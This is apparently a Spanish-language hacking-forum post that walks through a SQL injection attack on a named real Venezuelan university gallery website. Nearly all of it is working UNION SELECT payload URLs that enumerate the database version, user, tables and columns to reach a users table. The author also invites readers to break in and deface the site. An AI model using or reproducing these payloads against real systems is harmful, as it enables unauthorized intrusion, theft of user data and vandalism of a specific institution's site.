Bug en Galeria universitaria Braulio Salazar en Venezuela.

Website: http://galeria.uc.edu.ve/

http://galeria.uc.edu.ve/noticias.php?id=66%20order%20by%204-- Uiltima columna

http://galeria.uc.edu.ve/noticias.php?id=-66%20union%20all%20select%201,2,3,4-- Me tira 2 y 3, pero prefiero el 2

http://galeria.uc.edu.ve/noticias.php?id=-66%20union%20all%20select%201,version(),database(),4-- Version y nombre de base de datos

http://galeria.uc.edu.ve/noticias.php?id=-66%20union%20all%20select%201,user(),database(),4-- Usuario y base de datos

http://galeria.uc.edu.ve/noticias.php?id=-66%20union%20all%20select%201,group_concat(table_name),3,4%20from%20information_schema.tables-- Lista de tablas.

http://galeria.uc.edu.ve/noticias.php?id=-66%20union%20all%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=char(117,115,117,97,114,105,111,115)-- Lista de las columnas

Buscando columanas 1 a 1
http://galeria.uc.edu.ve/noticias.php?id=-66%20union%20all%20select%201,table_name,3,4%20from%20information_schema.tables%20limit%200,1--

http://galeria.uc.edu.ve/noticias.php?id=-66%20union%20all%20select%201,table_name,3,4%20from%20information_schema.tables%20limit%200,1-- La primer columna.

http://galeria.uc.edu.ve/noticias.php?id=-66%20union%20all%20select%201,table_name,3,4%20from%20information_schema.tables%20limit%2021,1-- Columna 21 = usuarios

El problema es ha la hora de hacer las consultas, por ejemplo:

http://galeria.uc.edu.ve/noticias.php?id=-1%20union%20all%20select%201,usuario,3,4%20from%20usuarios--

Me sale dice que la tabla usuarios no existe
 
Table 'avantpix_gubs.usuarios' doesn't exist

Si alguien sabe como seguir adelante y quien quiera hacerle deface, que le de mandarin jeje, ha decir verdad yo tuve problemas para acceder a esa web, pero si alguien puede entrar son libres de darle OWNED.

Saludos especiales a mis amigos de venezuela xD.